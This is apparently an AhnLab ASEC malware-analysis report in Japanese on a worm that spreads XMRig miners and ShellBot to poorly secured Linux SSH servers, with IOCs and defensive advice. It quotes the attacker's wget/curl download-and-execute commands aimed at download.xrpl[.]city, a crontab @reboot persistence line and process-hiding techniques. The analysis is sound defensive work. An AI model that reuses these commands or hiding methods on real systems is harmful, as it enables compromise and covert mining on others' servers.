ワーム型マルウェアを悪用した Linux SSH サーバー向けコインマイナー拡散事例

AhnLab Security intelligence Center (ASEC) では、複数のハニーポットを活用し、適切に管理されていない Linux サーバーを標的とした攻撃を継続的に監視している。最近では、ワーム機能を持つマルウェアを利用して、XMRig コインマイナーをインストールする事例を確認した。

今回の攻撃では、ShellBot マルウェアだけでなく、MIG LogCleaner や XHide といったツールも使用されていた。攻撃者は Go 言語で作成したダウンローダーおよびワーム型マルウェアを使用しており、このほかにも Shc (Shell Script Compiler) でシェルスクリプトをコンパイルして利用していた。同一の攻撃者は少なくとも2023年から攻撃活動を継続しているとみられる。

 

1. 攻撃事例

複数の攻撃元から、SSH サービスを公開しているハニーポットに対し、スキャンおよびログイン試行が確認された。ログイン成功後に実行されるコマンドが、後述するワーム型マルウェアの動作と類似していることから、この攻撃もワーム型マルウェアによるものと推定される。

ログイン成功後、次のコマンドが実行され、ダウンローダー「run」がインストールされる。

# (uname -a|cut -d’ ‘ -f1,2,3,7,11|tr ‘; ‘ ‘ ‘ && cat /proc/cpuinfo|grep name|cut -f2 -d:|uniq -c ; cd /var/tmp ; wget download.xrpl[.]city/run && chmod +x run && ./run) | xargs

 

2. マルウェア分析

2.1. 攻撃事例

2.1.1. ダウンローダー (run)

ダウンローダー「run」は Go 言語で作成されており、実行時に現在のユーザーのパスワードを変更し、その結果を出力する。

[図1] 変更されたパスワード

 

その後、「pack.jpg」をダウンロードして展開し、内部に含まれるマルウェアを実行する。

「mysql」は XMRig コインマイナー、「meta」はワーム型マルウェアであり、スキャン対象範囲を保存した「ranges」ファイルと、認証情報を保存した「pass」ファイルを引数として実行される。

# wget download.xrpl[.]city/test/pack.jpg
# tar xf pack.jpg
# rm pack.jpg
# cd pack
# chmod 0755 mysql
# ./mysql
# rm mysql
# chmod 0755 meta
# ./meta scan ranges 22 -p pass
# rm -rf meta ranges pass found.lst

 

2.1.2. ワーム型マルウェア (meta)

「meta」も Go 言語で作成されており、SSH ポートをスキャンし、認証に成功するとマルウェアをインストールするコマンドを実行するワーム型マルウェアである。

以下のように実行され、「ranges」で指定されたアドレス範囲に対して「pass」に保存された認証情報を利用してスキャンを実施する。

# ./meta scan ranges 22 -p pass

[図2] スキャンに使用されたデータファイル

 

スキャンおよび認証に成功すると、次のコマンドを実行し、対象サーバーへ XMRig コインマイナー「mysql」をインストールする。

また、HTTP POST リクエストにより攻撃結果を「hxxps://youpost[.]in/」へ送信する。

# ( uname -a|cut -d’ ‘ -f1,2,3,7,11|tr ‘\n’ ‘ ‘ && cat /proc/cpuinfo|grep name|cut -f2 -d:|uniq -c ; cd /tmp ; mkdir .ICE-Unix21 ; cd .ICE-Unix21 ; wget download.xrpl[.]city/mysql > /dev/null && chmod +x mysql && ./mysql) | xargs

 

2.1.3. XMRig (mysql)

A. インストール段階

「mysql」は攻撃者が改変した XMRig コインマイナーであり、複数の追加機能を備えている。

実行時に root 権限であり、かつ現在の実行パスが「/etc/ufw/.dev/oracle-monitor」でない場合、インストール処理を開始する。

自身を「/etc/ufw/.dev/oracle-monitor」および「/dev/shm/.sys_cache_backup」にコピーした後、Systemd サービスを作成する。

サービスファイルは「/etc/systemd/system/oracle-service.service」に作成される。

[図3] 登録されたサービス

 

B. Watchdog モード

「/etc/ufw/.dev/oracle-monitor」から実行されたマルウェアは Watchdog として動作し、定期的に「/dev/shm/.sys_cache_backup」の存在を確認する。

存在しない場合は再ダウンロードする。

これは「/dev/shm/」配下のファイルがシステム再起動後に削除されるためと考えられる。

# curl -k -s -L -o /dev/shm/.sys_cache_backup hxxp://download.xrpl[.]city/mysql || wget -q -O /dev/shm/.sys_cache_backup hxxp://download.xrpl[.]city/mysql

 

その後、「/dev/shm/.sys_cache_backup」を「/var/tmp/.sys_cache_<ランダム文字列>」へコピーし、cron ジョブへ登録する。

# cp -f /dev/shm/.sys_cache_backup /var/tmp/.sys_cache_<ランダム> && chmod +x /var/tmp/.sys_cache_<ランダム>
(crontab -l 2>/dev/null | grep -v ‘.sys_cache_’; echo ‘@reboot /var/tmp/.sys_cache_<ランダム>’) | crontab –

 

C. CoinMiner モード

上記の処理が完了すると、自身を fork() し、コインマイニングを実行する。

実行時の引数は以下の形式となり、マイニングプールは5つ使用される。

  • XMRig 実行引数 : -u smart –tls –donate-level=0 –null-hash-report –no-color -o sad[.]lat:80 -o 192.3.9[.]34:80 -o 172.245.81[.]188:80 -o 146.19.213[.]82:80 -o 23.94.137[.]96:80

 

マイニングプールアドレス
sad[.]lat:80
192.3.9[.]34:80
172.245.81[.]188:80
146.19.213[.]82:80
23.94.137[.]96:80

[表1] マイニングプールアドレス一覧

 

なお、マイニングを担当するプロセスと Watchdog プロセスが重複起動しないように使用されるロックファイルは次のとおりである。

  • Agent Lock File : /dev/shm/.agt.lck
  • Miner Lock File : /dev/shm/.mnr.lck

 

さらに、プロセス名を偽装する機能も備えており、以下の正規プロセス名が使用される。

  • “/usr/sbin/irqbalance”
  • “/usr/lib/systemd/systemd-logind”
  • “/usr/bin/dbus-daemon –system”
  • “/usr/sbin/acpid”
  • “/usr/lib/systemd/systemd-udevd”
  • “kworker/u16:1-events_unbound”
  • “/lib/systemd/systemd-journald”
  • “/usr/sbin/cron -f”
  • “/usr/lib/policykit-1/polkitd”

 

2.2. ShellBot (.b0t)

マルウェア配布サーバーでは、「.b0t」という名前で ShellBot も配布されていた。

ShellBot は PerlBot とも呼ばれ、Perl で開発された DDoS ボット型マルウェアである。

IRC プロトコルを利用して C&C サーバーと通信し、DDoS 攻撃だけでなく、感染システムを遠隔操作するためのさまざまなコマンドをサポートしている。

マルウェア C&C サーバーアドレス チャネルアドレス 管理者 ID
1 irc[.]lat:80 #X X
2 irc.undernet[.]org:6667 #t3st Egeu

[表2] ShellBot の設定情報

 

[図4] 攻撃で使用された ShellBo tのコマンド処理

 

ShellBot 自体にもログ改ざん機能があるが、同じ配布元で MIG LogCleaner も併せて配布されていた。

[図5] MIG LogCleaner の使用方法

 

2.3. コインマイナー

ダウンロード先には、「auto.jpg」という圧縮ファイルも確認された。

過去に公開された情報によれば、同一の攻撃者は少なくとも2023年からコインマイナーを拡散しているとみられる。 [1] 圧縮ファイル内には、Shc でコンパイルされたシェルスクリプト、コマンド隠ぺい用スクリプト、XHide、XMRig コインマイナーが含まれている。

[図6] auto.jpg 内のファイル

 

2.3.1. コマンドの隠ぺい

「pot」は Shc でコンパイルされたシェルスクリプトであり、実行時に隠ぺい機能を担うファイルを「/usr/share/terminfo/c/.x/.l/」へ移動し、XHide や XMRig などを「/usr/share/terminfo/c/.x/.x/」へ移動する。

その後、「/.l」ディレクトリ内の「script」を実行する。

「script」は、ユーザーの「.bashrc」を改ざんし、aliasを登録する機能を持つ。

例えば「uptime」コマンドを実行すると、alias によってシンボリックリンク「myu」が実行され、「myu」は実際には「uptime」という名前のスクリプトを起動する。

偽装対象コマンド シンボリックリンク名 コマンドスクリプト名
w myw load
crontab myc cron
top pot top
uptime myu uptime
ls N/A (alias)
lsconfig N/A (alias)

[表3] 偽装コマンドおよびファイル

 

[図7] シンボリックリンクおよび alias の内容

 

偽装された「crontab」コマンドは、現在の crontab 内容を保存した後、常に過去の内容だけを表示する。

また、偽装された「w」「uptime」「top」は「load average」の値を固定値に変更し、管理者がシステム負荷を正確に確認できないようにする。

さらに、「ls」「lsconfig」は、「ls」の実行結果からマルウェア関連ファイルが表示されないように改ざんする。

 

2.3.3. XHide (h32, h64)

「pot」は「script」のほかに、Shc でコンパイルされた「myu」も実行する。

「myu」は「myw」を cron ジョブへ登録し、「myw」は「i」に記載された「45.88.91[.]151」との接続を確認する。接続されていない場合は「run」スクリプトを実行する。

「run」は、XHide ツール「h32」「h64」を利用して、XMRig「Discord」を実行する役割を担う。

対象プロセス起動時に argv[0] を書き換える方式を採用しているため、XMRig は「[kworker/u257:2]」というプロセス名で動作する。

[図8] XHide と実行スクリプト

 

2.3.4. XMRig (Discord)

「Discord」は攻撃者が改変した XMRig であり、マイニングプールアドレスを引数として受け取ることができる。

引数が指定されない場合は、内部に保存された設定情報を使用する。

  • マイニングプール #1 : sad[.]lat:80
  • マイニングプール #2 : time.justnames[.]in:80
  • ウォレット #2 : “46Yoqzc2n4fQ78s1hbwUePRCSGiQgjUNMAEsWV2mV95tDWRqevJZ38K6GWWzLKc526CvqeVqaazsDYi8gjVSfouRDYrdZnC”
  • パスワード #2 : “x”

 

3. 結論

最近、適切に管理されていない Linux サーバーを標的として、コインマイナー、ワーム型マルウェア、ShellBot など複数のマルウェアをインストールする攻撃事例が確認された。

コインマイナーがインストールされると、システムリソースを利用して攻撃者の Monero を採掘するようになる。

また、攻撃者は同時にインストールした ShellBot を利用して追加のマルウェアを配布したり、システム内の情報を窃取したりするなど、さまざまな不正活動を実行できる。

管理者は、アカウントのパスワードを推測されにくい複雑なものに設定し定期的に変更することで、ブルートフォース攻撃や辞書攻撃から Linux サーバーを保護する必要がある。

また、システムを常に最新バージョンへ更新し、既知の脆弱性を悪用した攻撃を防止しなければならない。

さらに、インターネット上に公開されているサーバーについては、ファイアウォールなどのセキュリティ製品を利用して攻撃者からのアクセスを適切に制御することが重要である。

最後に、V3 を常に最新バージョンへ更新し、マルウェア感染を事前に防止できるよう運用することが推奨される。

 

MD5

0d01bd11d1d3e7676613aacb109de55f
0fde38c0cfa5e5bf8e6ac2a6be0232b7
161d62e4b7ab39f677e7a6828039ef79
2fcad1ae4a29ddb3862f3674065e7433
3565360c4102e152852976effc9aab85
URL

http[:]//download[.]xrpl[.]city/[.]b0t
http[:]//download[.]xrpl[.]city/auto/auto[.]jpg
http[:]//download[.]xrpl[.]city/auto/mig
http[:]//download[.]xrpl[.]city/run
http[:]//download[.]xrpl[.]city/test/pack[.]jpg
FQDN

irc[.]lat
sad[.]lat
time[.]justnames[.]in
youpost[.]in
IP

143[.]20[.]185[.]252
146[.]19[.]213[.]82
172[.]245[.]81[.]188
185[.]242[.]3[.]57
192[.]3[.]9[.]34

関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム 「AhnLab TIP」 サブスクリプションサービスを通して確認できる。

Categories: マルウェア

Tagged as: ,